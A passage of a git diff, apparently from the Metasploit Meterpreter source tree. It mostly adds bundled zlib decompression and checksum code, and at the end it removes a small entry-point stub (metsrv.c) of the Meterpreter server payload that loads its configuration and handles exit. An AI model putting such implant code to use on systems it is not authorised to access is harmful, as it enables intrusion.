= 1 << j; /* table entries for j-bit table */ + + /* allocate and link in new table */ + if ((q = (inflate_huft *)ZALLOC + (zs,z + 1,sizeof(inflate_huft))) == Z_NULL) + { + if (h) + inflate_trees_free(u[0], zs); + return Z_MEM_ERROR; /* not enough memory */ + } +#ifdef DEBUG_ZLIB + inflate_hufts += z + 1; +#endif + *t = q + 1; /* link to list for huft_free() */ + *(t = &(q->next)) = Z_NULL; + u[h] = ++q; /* table starts after link */ + + /* connect to last table, if there is one */ + if (h) + { + x[h] = i; /* save pattern for backing up */ + r.bits = (Byte)l; /* bits to dump before this table */ + r.exop = (Byte)j; /* bits in this table */ + r.next = q; /* pointer to this table */ + j = i >> (w - l); /* (get around Turbo C bug) */ + u[h-1][j] = r; /* connect to last table */ + } + } + + /* set up table entry in r */ + r.bits = (Byte)(k - w); + if (p >= v + n) + r.exop = 128 + 64; /* out of values--invalid code */ + else if (*p < s) + { + r.exop = (Byte)(*p < 256 ? 0 : 32 + 64); /* 256 is end-of-block */ + r.base = *p++; /* simple code is just the value */ + } + else + { + r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */ + r.base = d[*p++ - s]; + } + + /* fill code-like entries with r */ + f = 1 << (k - w); + for (j = i >> w; j < z; j += f) + q[j] = r; + + /* backwards increment the k-bit code i */ + for (j = 1 << (k - 1); i & j; j >>= 1) + i ^= j; + i ^= j; + + /* backup over finished tables */ + while ((i & ((1 << w) - 1)) != x[h]) + { + h--; /* don't need to update q */ + w -= l; + } + } + } + + + /* Return Z_BUF_ERROR if we were given an incomplete table */ + return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK; +} + + +int inflate_trees_bits( +uIntf *c, /* 19 code lengths */ +uIntf *bb, /* bits tree desired/actual depth */ +inflate_huft * FAR *tb, /* bits tree result */ +z_streamp z /* for zfree function */ +) +{ + int r; + + r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL, tb, bb, z); + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed dynamic bit lengths tree"; + else if (r == Z_BUF_ERROR || *bb == 0) + { + inflate_trees_free(*tb, z); + z->msg = (char*)"incomplete dynamic bit lengths tree"; + r = Z_DATA_ERROR; + } + return r; +} + + +int inflate_trees_dynamic( +uInt nl, /* number of literal/length codes */ +uInt nd, /* number of distance codes */ +uIntf *c, /* that many (total) code lengths */ +uIntf *bl, /* literal desired/actual bit depth */ +uIntf *bd, /* distance desired/actual bit depth */ +inflate_huft * FAR *tl, /* literal/length tree result */ +inflate_huft * FAR *td, /* distance tree result */ +z_streamp z /* for zfree function */ +) +{ + int r; + + /* build literal/length tree */ + r = huft_build(c, nl, 257, cplens, cplext, tl, bl, z); + if (r != Z_OK || *bl == 0) + { + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed literal/length tree"; + else if (r != Z_MEM_ERROR) + { + inflate_trees_free(*tl, z); + z->msg = (char*)"incomplete literal/length tree"; + r = Z_DATA_ERROR; + } + return r; + } + + /* build distance tree */ + r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, z); + if (r != Z_OK || (*bd == 0 && nl > 257)) + { + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed distance tree"; + else if (r == Z_BUF_ERROR) { +#ifdef PKZIP_BUG_WORKAROUND + r = Z_OK; + } +#else + inflate_trees_free(*td, z); + z->msg = (char*)"incomplete distance tree"; + r = Z_DATA_ERROR; + } + else if (r != Z_MEM_ERROR) + { + z->msg = (char*)"empty distance tree with lengths"; + r = Z_DATA_ERROR; + } + inflate_trees_free(*tl, z); + return r; +#endif + } + + /* done */ + return Z_OK; +} + + +/* build fixed tables only once--keep them here */ +local int fixed_built = 0; +#define FIXEDH 530 /* number of hufts used by fixed tables */ +local inflate_huft fixed_mem[FIXEDH]; +local uInt fixed_bl; +local uInt fixed_bd; +local inflate_huft *fixed_tl; +local inflate_huft *fixed_td; + + +local voidpf falloc( +voidpf q, /* opaque pointer */ +uInt n, /* number of items */ +uInt s /* size of item */ +) +{ + Assert(s == sizeof(inflate_huft) && n <= *(intf *)q, + "inflate_trees falloc overflow"); + *(intf *)q -= n+s-s; /* s-s to avoid warning */ + return (voidpf)(fixed_mem + *(intf *)q); +} + + +int inflate_trees_fixed( +uIntf *bl, /* literal desired/actual bit depth */ +uIntf *bd, /* distance desired/actual bit depth */ +inflate_huft * FAR *tl, /* literal/length tree result */ +inflate_huft * FAR *td /* distance tree result */ +) +{ + /* build fixed tables if not already (multiple overlapped executions ok) */ + if (!fixed_built) + { + int k; /* temporary variable */ + unsigned c[288]; /* length list for huft_build */ + z_stream z; /* for falloc function */ + int f = FIXEDH; /* number of hufts left in fixed_mem */ + + /* set up fake z_stream for memory routines */ + z.zalloc = falloc; + z.zfree = Z_NULL; + z.opaque = (voidpf)&f; + + /* literal table */ + for (k = 0; k < 144; k++) + c[k] = 8; + for (; k < 256; k++) + c[k] = 9; + for (; k < 280; k++) + c[k] = 7; + for (; k < 288; k++) + c[k] = 8; + fixed_bl = 7; + huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl, &z); + + /* distance table */ + for (k = 0; k < 30; k++) + c[k] = 5; + fixed_bd = 5; + huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd, &z); + + /* done */ + Assert(f == 0, "invalid build of fixed tables"); + fixed_built = 1; + } + *bl = fixed_bl; + *bd = fixed_bd; + *tl = fixed_tl; + *td = fixed_td; + return Z_OK; +} + + +int inflate_trees_free( +inflate_huft *t, /* table to free */ +z_streamp z /* for zfree function */ +) +/* Free the malloc'ed tables built by huft_build(), which makes a linked + list of the tables it made, with the links in a dummy first entry of + each table. */ +{ + register inflate_huft *p, *q, *r; + + /* Reverse linked list */ + p = Z_NULL; + q = t; + while (q != Z_NULL) + { + r = (q - 1)->next; + (q - 1)->next = p; + p = q; + q = r; + } + /* Go through linked list, freeing from the malloced (t[-1]) address. */ + while (p != Z_NULL) + { + q = (--p)->next; + ZFREE(z,p); + p = q; + } + return Z_OK; +} +/* --- inftrees.c */ + +/* +++ infcodes.c */ +/* infcodes.c -- process literals and length/distance pairs + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "inftrees.h" */ +/* #include "infblock.h" */ +/* #include "infcodes.h" */ +/* #include "infutil.h" */ + +/* +++ inffast.h */ +/* inffast.h -- header to use inffast.c + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +extern int inflate_fast OF(( + uInt, + uInt, + inflate_huft *, + inflate_huft *, + inflate_blocks_statef *, + z_streamp )); +/* --- inffast.h */ + +/* simplify the use of the inflate_huft type with some defines */ +#define base more.Base +#define next more.Next +#define exop word.what.Exop +#define bits word.what.Bits + +/* inflate codes private state */ +struct inflate_codes_state { + + /* mode */ + enum { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ + START, /* x: set up for LEN */ + LEN, /* i: get length/literal/eob next */ + LENEXT, /* i: getting length extra (have base) */ + DIST, /* i: get distance next */ + DISTEXT, /* i: getting distance extra */ + COPY, /* o: copying bytes in window, waiting for space */ + LIT, /* o: got literal, waiting for output space */ + WASH, /* o: got eob, possibly still output waiting */ + END, /* x: got eob and all data flushed */ + BADCODE} /* x: got error */ + mode; /* current inflate_codes mode */ + + /* mode dependent information */ + uInt len; + union { + struct { + inflate_huft *tree; /* pointer into tree */ + uInt need; /* bits needed */ + } code; /* if LEN or DIST, where in tree */ + uInt lit; /* if LIT, literal */ + struct { + uInt get; /* bits to get for extra */ + uInt dist; /* distance back to copy from */ + } copy; /* if EXT or COPY, where and how much */ + } sub; /* submode */ + + /* mode independent information */ + Byte lbits; /* ltree bits decoded per branch */ + Byte dbits; /* dtree bits decoder per branch */ + inflate_huft *ltree; /* literal/length/eob tree */ + inflate_huft *dtree; /* distance tree */ + +}; + + +inflate_codes_statef *inflate_codes_new( +uInt bl, +uInt bd, +inflate_huft *tl, +inflate_huft *td, /* need separate declaration for Borland C++ */ +z_streamp z +) +{ + inflate_codes_statef *c; + + if ((c = (inflate_codes_statef *) + ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL) + { + c->mode = START; + c->lbits = (Byte)bl; + c->dbits = (Byte)bd; + c->ltree = tl; + c->dtree = td; + Tracev((stderr, "inflate: codes new\n")); + } + return c; +} + + +int inflate_codes(inflate_blocks_statef *s, z_streamp z, int r) +{ + uInt j; /* temporary storage */ + inflate_huft *t; /* temporary pointer */ + uInt e; /* extra bits or operation */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + Bytef *f; /* pointer to copy strings from */ + inflate_codes_statef *c = s->sub.decode.codes; /* codes state */ + + /* copy input/output information to locals (UPDATE macro restores) */ + LOAD + + /* process input and output based on current state */ + while (1) switch (c->mode) + { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ + case START: /* x: set up for LEN */ +#ifndef SLOW + if (m >= 258 && n >= 10) + { + UPDATE + r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z); + LOAD + if (r != Z_OK) + { + c->mode = r == Z_STREAM_END ? WASH : BADCODE; + break; + } + } +#endif /* !SLOW */ + c->sub.code.need = c->lbits; + c->sub.code.tree = c->ltree; + c->mode = LEN; + case LEN: /* i: get length/literal/eob next */ + j = c->sub.code.need; + NEEDBITS(j) + t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); + DUMPBITS(t->bits) + e = (uInt)(t->exop); + if (e == 0) /* literal */ + { + c->sub.lit = t->base; + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: literal '%c'\n" : + "inflate: literal 0x%02x\n", t->base)); + c->mode = LIT; + break; + } + if (e & 16) /* length */ + { + c->sub.copy.get = e & 15; + c->len = t->base; + c->mode = LENEXT; + break; + } + if ((e & 64) == 0) /* next table */ + { + c->sub.code.need = e; + c->sub.code.tree = t->next; + break; + } + if (e & 32) /* end of block */ + { + Tracevv((stderr, "inflate: end of block\n")); + c->mode = WASH; + break; + } + c->mode = BADCODE; /* invalid code */ + z->msg = (char*)"invalid literal/length code"; + r = Z_DATA_ERROR; + LEAVE + case LENEXT: /* i: getting length extra (have base) */ + j = c->sub.copy.get; + NEEDBITS(j) + c->len += (uInt)b & inflate_mask[j]; + DUMPBITS(j) + c->sub.code.need = c->dbits; + c->sub.code.tree = c->dtree; + Tracevv((stderr, "inflate: length %u\n", c->len)); + c->mode = DIST; + case DIST: /* i: get distance next */ + j = c->sub.code.need; + NEEDBITS(j) + t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); + DUMPBITS(t->bits) + e = (uInt)(t->exop); + if (e & 16) /* distance */ + { + c->sub.copy.get = e & 15; + c->sub.copy.dist = t->base; + c->mode = DISTEXT; + break; + } + if ((e & 64) == 0) /* next table */ + { + c->sub.code.need = e; + c->sub.code.tree = t->next; + break; + } + c->mode = BADCODE; /* invalid code */ + z->msg = (char*)"invalid distance code"; + r = Z_DATA_ERROR; + LEAVE + case DISTEXT: /* i: getting distance extra */ + j = c->sub.copy.get; + NEEDBITS(j) + c->sub.copy.dist += (uInt)b & inflate_mask[j]; + DUMPBITS(j) + Tracevv((stderr, "inflate: distance %u\n", c->sub.copy.dist)); + c->mode = COPY; + case COPY: /* o: copying bytes in window, waiting for space */ +#ifndef __TURBOC__ /* Turbo C bug for following expression */ + f = (uInt)(q - s->window) < c->sub.copy.dist ? + s->end - (c->sub.copy.dist - (q - s->window)) : + q - c->sub.copy.dist; +#else + f = q - c->sub.copy.dist; + if ((uInt)(q - s->window) < c->sub.copy.dist) + f = s->end - (c->sub.copy.dist - (uInt)(q - s->window)); +#endif + while (c->len) + { + NEEDOUT + OUTBYTE(*f++) + if (f == s->end) + f = s->window; + c->len--; + } + c->mode = START; + break; + case LIT: /* o: got literal, waiting for output space */ + NEEDOUT + OUTBYTE(c->sub.lit) + c->mode = START; + break; + case WASH: /* o: got eob, possibly more output */ + FLUSH + if (s->read != s->write) + LEAVE + c->mode = END; + case END: + r = Z_STREAM_END; + LEAVE + case BADCODE: /* x: got error */ + r = Z_DATA_ERROR; + LEAVE + default: + r = Z_STREAM_ERROR; + LEAVE + } +} + + +void inflate_codes_free(inflate_codes_statef *c, z_streamp z) +{ + ZFREE(z, c); + Tracev((stderr, "inflate: codes free\n")); +} +/* --- infcodes.c */ + +/* +++ infutil.c */ +/* inflate_util.c -- data and routines common to blocks and codes + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "infblock.h" */ +/* #include "inftrees.h" */ +/* #include "infcodes.h" */ +/* #include "infutil.h" */ + +#ifndef NO_DUMMY_DECL +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ +#endif + +/* And'ing with mask[n] masks the lower n bits */ +uInt inflate_mask[17] = { + 0x0000, + 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff, + 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff +}; + + +/* copy as much as possible from the sliding window to the output area */ +int inflate_flush(inflate_blocks_statef *s, z_streamp z, int r) +{ + uInt n; + Bytef *p; + Bytef *q; + + /* local copies of source and destination pointers */ + p = z->next_out; + q = s->read; + + /* compute number of bytes to copy as far as end of window */ + n = (uInt)((q <= s->write ? s->write : s->end) - q); + if (n > z->avail_out) n = z->avail_out; + if (n && r == Z_BUF_ERROR) r = Z_OK; + + /* update counters */ + z->avail_out -= n; + z->total_out += n; + + /* update check information */ + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(s->check, q, n); + + /* copy as far as end of window */ + if (p != Z_NULL) { + zmemcpy(p, q, n); + p += n; + } + q += n; + + /* see if more to copy at beginning of window */ + if (q == s->end) + { + /* wrap pointers */ + q = s->window; + if (s->write == s->end) + s->write = s->window; + + /* compute bytes to copy */ + n = (uInt)(s->write - q); + if (n > z->avail_out) n = z->avail_out; + if (n && r == Z_BUF_ERROR) r = Z_OK; + + /* update counters */ + z->avail_out -= n; + z->total_out += n; + + /* update check information */ + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(s->check, q, n); + + /* copy */ + if (p != Z_NULL) { + zmemcpy(p, q, n); + p += n; + } + q += n; + } + + /* update pointers */ + z->next_out = p; + s->read = q; + + /* done */ + return r; +} +/* --- infutil.c */ + +/* +++ inffast.c */ +/* inffast.c -- process literals and length/distance pairs fast + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "inftrees.h" */ +/* #include "infblock.h" */ +/* #include "infcodes.h" */ +/* #include "infutil.h" */ +/* #include "inffast.h" */ + +#ifndef NO_DUMMY_DECL +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ +#endif + +/* simplify the use of the inflate_huft type with some defines */ +#define base more.Base +#define next more.Next +#define exop word.what.Exop +#define bits word.what.Bits + +/* macros for bit input with no checking and for returning unused bytes */ +#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<>3);p-=c;k&=7;} + +/* Called with number of bytes left to write in window at least 258 + (the maximum string length) and number of input bytes available + at least ten. The ten bytes are six bytes for the longest length/ + distance pair plus four bytes for overloading the bit buffer. */ + +int inflate_fast( +uInt bl, +uInt bd, +inflate_huft *tl, +inflate_huft *td, /* need separate declaration for Borland C++ */ +inflate_blocks_statef *s, +z_streamp z +) +{ + inflate_huft *t; /* temporary pointer */ + uInt e; /* extra bits or operation */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + uInt ml; /* mask for literal/length tree */ + uInt md; /* mask for distance tree */ + uInt c; /* bytes to copy */ + uInt d; /* distance back to copy from */ + Bytef *r; /* copy source pointer */ + + /* load input, output, bit values */ + LOAD + + /* initialize masks */ + ml = inflate_mask[bl]; + md = inflate_mask[bd]; + + /* do until not enough input or output space for fast loop */ + do { /* assume called with m >= 258 && n >= 10 */ + /* get literal/length code */ + GRABBITS(20) /* max bits for literal/length code */ + if ((e = (t = tl + ((uInt)b & ml))->exop) == 0) + { + DUMPBITS(t->bits) + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: * literal '%c'\n" : + "inflate: * literal 0x%02x\n", t->base)); + *q++ = (Byte)t->base; + m--; + continue; + } + do { + DUMPBITS(t->bits) + if (e & 16) + { + /* get extra bits for length */ + e &= 15; + c = t->base + ((uInt)b & inflate_mask[e]); + DUMPBITS(e) + Tracevv((stderr, "inflate: * length %u\n", c)); + + /* decode distance base of block to copy */ + GRABBITS(15); /* max bits for distance code */ + e = (t = td + ((uInt)b & md))->exop; + do { + DUMPBITS(t->bits) + if (e & 16) + { + /* get extra bits to add to distance base */ + e &= 15; + GRABBITS(e) /* get extra bits (up to 13) */ + d = t->base + ((uInt)b & inflate_mask[e]); + DUMPBITS(e) + Tracevv((stderr, "inflate: * distance %u\n", d)); + + /* do the copy */ + m -= c; + if ((uInt)(q - s->window) >= d) /* offset before dest */ + { /* just copy */ + r = q - d; + *q++ = *r++; c--; /* minimum count is three, */ + *q++ = *r++; c--; /* so unroll loop a little */ + } + else /* else offset after destination */ + { + e = d - (uInt)(q - s->window); /* bytes from offset to end */ + r = s->end - e; /* pointer to offset */ + if (c > e) /* if source crosses, */ + { + c -= e; /* copy to end of window */ + do { + *q++ = *r++; + } while (--e); + r = s->window; /* copy rest from start of window */ + } + } + do { /* copy all or what's left */ + *q++ = *r++; + } while (--c); + break; + } + else if ((e & 64) == 0) + e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop; + else + { + z->msg = (char*)"invalid distance code"; + UNGRAB + UPDATE + return Z_DATA_ERROR; + } + } while (1); + break; + } + if ((e & 64) == 0) + { + if ((e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop) == 0) + { + DUMPBITS(t->bits) + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: * literal '%c'\n" : + "inflate: * literal 0x%02x\n", t->base)); + *q++ = (Byte)t->base; + m--; + break; + } + } + else if (e & 32) + { + Tracevv((stderr, "inflate: * end of block\n")); + UNGRAB + UPDATE + return Z_STREAM_END; + } + else + { + z->msg = (char*)"invalid literal/length code"; + UNGRAB + UPDATE + return Z_DATA_ERROR; + } + } while (1); + } while (m >= 258 && n >= 10); + + /* not enough input or output--restore pointers and return */ + UNGRAB + UPDATE + return Z_OK; +} +/* --- inffast.c */ + +/* +++ zutil.c */ +/* zutil.c -- target dependent utility functions for the compression library + * Copyright (C) 1995-1996 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* From: zutil.c,v 1.17 1996/07/24 13:41:12 me Exp $ */ + +#ifdef DEBUG_ZLIB +#include +#endif + +/* #include "zutil.h" */ + +#ifndef NO_DUMMY_DECL +struct internal_state {int dummy;}; /* for buggy compilers */ +#endif + +#ifndef STDC +extern void exit OF((int)); +#endif + +static const char *z_errmsg[10] = { +"need dictionary", /* Z_NEED_DICT 2 */ +"stream end", /* Z_STREAM_END 1 */ +"", /* Z_OK 0 */ +"file error", /* Z_ERRNO (-1) */ +"stream error", /* Z_STREAM_ERROR (-2) */ +"data error", /* Z_DATA_ERROR (-3) */ +"insufficient memory", /* Z_MEM_ERROR (-4) */ +"buffer error", /* Z_BUF_ERROR (-5) */ +"incompatible version",/* Z_VERSION_ERROR (-6) */ +""}; + + +const char *zlibVersion() +{ + return ZLIB_VERSION; +} + +#ifdef DEBUG_ZLIB +void z_error (char *m) +{ + fprintf(stderr, "%s\n", m); + exit(1); +} +#endif + +#ifndef HAVE_MEMCPY + +void zmemcpy(Bytef* dest, Bytef* source, uInt len) +{ + if (len == 0) return; + do { + *dest++ = *source++; /* ??? to be unrolled */ + } while (--len != 0); +} + +int zmemcmp(Bytef* s1, Bytef* s2, uInt len) +{ + uInt j; + + for (j = 0; j < len; j++) { + if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1; + } + return 0; +} + +void zmemzero(Bytef* dest, uInt len) +{ + if (len == 0) return; + do { + *dest++ = 0; /* ??? to be unrolled */ + } while (--len != 0); +} +#endif + +#ifdef __TURBOC__ +#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__) +/* Small and medium model in Turbo C are for now limited to near allocation + * with reduced MAX_WBITS and MAX_MEM_LEVEL + */ +# define MY_ZCALLOC + +/* Turbo C malloc() does not allow dynamic allocation of 64K bytes + * and farmalloc(64K) returns a pointer with an offset of 8, so we + * must fix the pointer. Warning: the pointer must be put back to its + * original form in order to free it, use zcfree(). + */ + +#define MAX_PTR 10 +/* 10*64K = 640K */ + +local int next_ptr = 0; + +typedef struct ptr_table_s { + voidpf org_ptr; + voidpf new_ptr; +} ptr_table; + +local ptr_table table[MAX_PTR]; +/* This table is used to remember the original form of pointers + * to large buffers (64K). Such pointers are normalized with a zero offset. + * Since MSDOS is not a preemptive multitasking OS, this table is not + * protected from concurrent access. This hack doesn't work anyway on + * a protected system like OS/2. Use Microsoft C instead. + */ + +voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) +{ + voidpf buf = opaque; /* just to make some compilers happy */ + ulg bsize = (ulg)items*size; + + /* If we allocate less than 65520 bytes, we assume that farmalloc + * will return a usable pointer which doesn't have to be normalized. + */ + if (bsize < 65520L) { + buf = farmalloc(bsize); + if (*(ush*)&buf != 0) return buf; + } else { + buf = farmalloc(bsize + 16L); + } + if (buf == NULL || next_ptr >= MAX_PTR) return NULL; + table[next_ptr].org_ptr = buf; + + /* Normalize the pointer to seg:0 */ + *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4; + *(ush*)&buf = 0; + table[next_ptr++].new_ptr = buf; + return buf; +} + +void zcfree (voidpf opaque, voidpf ptr) +{ + int n; + if (*(ush*)&ptr != 0) { /* object < 64K */ + farfree(ptr); + return; + } + /* Find the original pointer */ + for (n = 0; n < next_ptr; n++) { + if (ptr != table[n].new_ptr) continue; + + farfree(table[n].org_ptr); + while (++n < next_ptr) { + table[n-1] = table[n]; + } + next_ptr--; + return; + } + ptr = opaque; /* just to make some compilers happy */ + Assert(0, "zcfree: ptr not found"); +} +#endif +#endif /* __TURBOC__ */ + + +#if defined(M_I86) && !defined(__32BIT__) +/* Microsoft C in 16-bit mode */ + +# define MY_ZCALLOC + +#if (!defined(_MSC_VER) || (_MSC_VER < 600)) +# define _halloc halloc +# define _hfree hfree +#endif + +voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) +{ + if (opaque) opaque = 0; /* to make compiler happy */ + return _halloc((long)items, size); +} + +void zcfree (voidpf opaque, voidpf ptr) +{ + if (opaque) opaque = 0; /* to make compiler happy */ + _hfree(ptr); +} + +#endif /* MSC */ + + +#ifndef MY_ZCALLOC /* Any system without a special alloc function */ + +#ifndef STDC +extern voidp calloc OF((uInt items, uInt size)); +extern void free OF((voidpf ptr)); +#endif + +voidpf zcalloc(voidpf opaque, unsigned items, unsigned size) +{ + if (opaque) items += size - size; /* make compiler happy */ + return (voidpf)calloc(items, size); +} + +void zcfree(voidpf opaque, voidpf ptr) +{ + free(ptr); + if (opaque) return; /* make compiler happy */ +} + +#endif /* MY_ZCALLOC */ +/* --- zutil.c */ + +/* +++ adler32.c */ +/* adler32.c -- compute the Adler-32 checksum of a data stream + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* From: adler32.c,v 1.10 1996/05/22 11:52:18 me Exp $ */ + +/* #include "zlib.h" */ + +#define BASE 65521L /* largest prime smaller than 65536 */ +#define NMAX 5552 +/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ + +#define DO1(buf,i) {s1 += buf[(i)]; s2 += s1;} +#define DO2(buf,i) DO1(buf,i); DO1(buf,(i)+1); +#define DO4(buf,i) DO2(buf,i); DO2(buf,(i)+2); +#define DO8(buf,i) DO4(buf,i); DO4(buf,(i)+4); +#define DO16(buf) DO8(buf,0); DO8(buf,8); + +/* ========================================================================= */ +uLong adler32(uLong adler, const Bytef *buf, uInt len) +{ + unsigned long s1 = adler & 0xffff; + unsigned long s2 = (adler >> 16) & 0xffff; + int k; + + if (buf == Z_NULL) return 1L; + + while (len > 0) { + k = len < NMAX ? len : NMAX; + len -= k; + while (k >= 16) { + DO16(buf); + buf += 16; + k -= 16; + } + if (k != 0) do { + s1 += *buf++; + s2 += s1; + } while (--k); + s1 %= BASE; + s2 %= BASE; + } + return (s2 << 16) | s1; +} +/* --- adler32.c */ + +// compress.c +/* =========================================================================== + Compresses the source buffer into the destination buffer. The level + parameter has the same meaning as in deflateInit. sourceLen is the byte + length of the source buffer. Upon entry, destLen is the total size of the + destination buffer, which must be at least 0.1% larger than sourceLen plus + 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. + + compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_BUF_ERROR if there was not enough room in the output buffer, + Z_STREAM_ERROR if the level parameter is invalid. +*/ +int EXPORT compress2(Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level) +{ + z_stream stream; + int err; + + stream.next_in = (Bytef*)source; + stream.avail_in = (uInt)sourceLen; +#ifdef MAXSEG_64K + /* Check for source > 64K on 16-bit machine: */ + if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; +#endif + stream.next_out = dest; + stream.avail_out = (uInt)*destLen; + if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; + + stream.zalloc = (alloc_func)0; + stream.zfree = (free_func)0; + stream.opaque = (voidpf)0; + + err = deflateInit(&stream, level); + if (err != Z_OK) return err; + + err = deflate(&stream, Z_FINISH); + if (err != Z_STREAM_END) { + deflateEnd(&stream); + return err == Z_OK ? Z_BUF_ERROR : err; + } + *destLen = stream.total_out; + + err = deflateEnd(&stream); + return err; +} + +int EXPORT compress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen) +{ + return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION); +} +// uncompr.c +/* =========================================================================== + Decompresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be large enough to hold the + entire uncompressed data. (The size of the uncompressed data must have + been saved previously by the compressor and transmitted to the decompressor + by some mechanism outside the scope of this compression library.) + Upon exit, destLen is the actual size of the compressed buffer. + This function can be used to decompress a whole file at once if the + input file is mmap'ed. + + uncompress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer, or Z_DATA_ERROR if the input data was corrupted. +*/ +int EXPORT uncompress(Bytef *dest,uLongf *destLen,const Bytef *source, uLong sourceLen) +{ + z_stream stream; + int err; + + stream.next_in = (Bytef*)source; + stream.avail_in = (uInt)sourceLen; + /* Check for source > 64K on 16-bit machine: */ + if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; + + stream.next_out = dest; + stream.avail_out = (uInt)*destLen; + if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; + + stream.zalloc = (alloc_func)0; + stream.zfree = (free_func)0; + + err = inflateInit(&stream); + if (err != Z_OK) return err; + + err = inflate(&stream, Z_FINISH); + if (err != Z_STREAM_END) { + inflateEnd(&stream); + return err == Z_OK ? Z_BUF_ERROR : err; + } + *destLen = stream.total_out; + + err = inflateEnd(&stream); + return err; +} diff --git a/c/meterpreter/source/common/zlib/zlib.h b/c/meterpreter/source/metsrv/zlib.h similarity index 100% rename from c/meterpreter/source/common/zlib/zlib.h rename to c/meterpreter/source/metsrv/zlib.h diff --git a/c/meterpreter/source/server/libloader.h b/c/meterpreter/source/server/libloader.h deleted file mode 100644 index 39955fa3..00000000 --- a/c/meterpreter/source/server/libloader.h +++ /dev/null @@ -1,5 +0,0 @@ -#ifndef _METERPRETER_SOURCE_SERVER_LIBLOADER_H -#define _METERPRETER_SOURCE_SERVER_LIBLOADER_H - -HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength); -#endif diff --git a/c/meterpreter/source/server/metsrv.c b/c/meterpreter/source/server/metsrv.c deleted file mode 100755 index 78e0aa6e..00000000 --- a/c/meterpreter/source/server/metsrv.c +++ /dev/null @@ -1,36 +0,0 @@ -#include "metsrv.h" -#include "config.h" - -#include // for EXCEPTION_ACCESS_VIOLATION -#include - -#define UnpackAndLinkLibs(p, s) - -DWORD __declspec(dllexport) Init(SOCKET fd) -{ - // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually - // a pointer to the metserv configuration, so do a nasty cast and move on. - MetsrvConfig* metConfig = (MetsrvConfig*)fd; - dprintf("[METSRV] Getting ready to init with config %p", metConfig); - DWORD result = server_setup(metConfig); - - dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func); - - // We also handle exit func directly in metsrv now because the value is added to the - // configuration block and we manage to save bytes in the stager/header as well. - switch (metConfig->session.exit_func) - { - case EXITFUNC_SEH: - SetUnhandledExceptionFilter(NULL); - break; - case EXITFUNC_THREAD: - ExitThread(0); - break; - case EXITFUNC_PROCESS: - ExitProcess(0); - break; - default: - break; - } - return result; -} diff --git a/c/meterpreter/source/server/metsrv.h b/c/meterpreter/source/server/metsrv.h deleted file mode 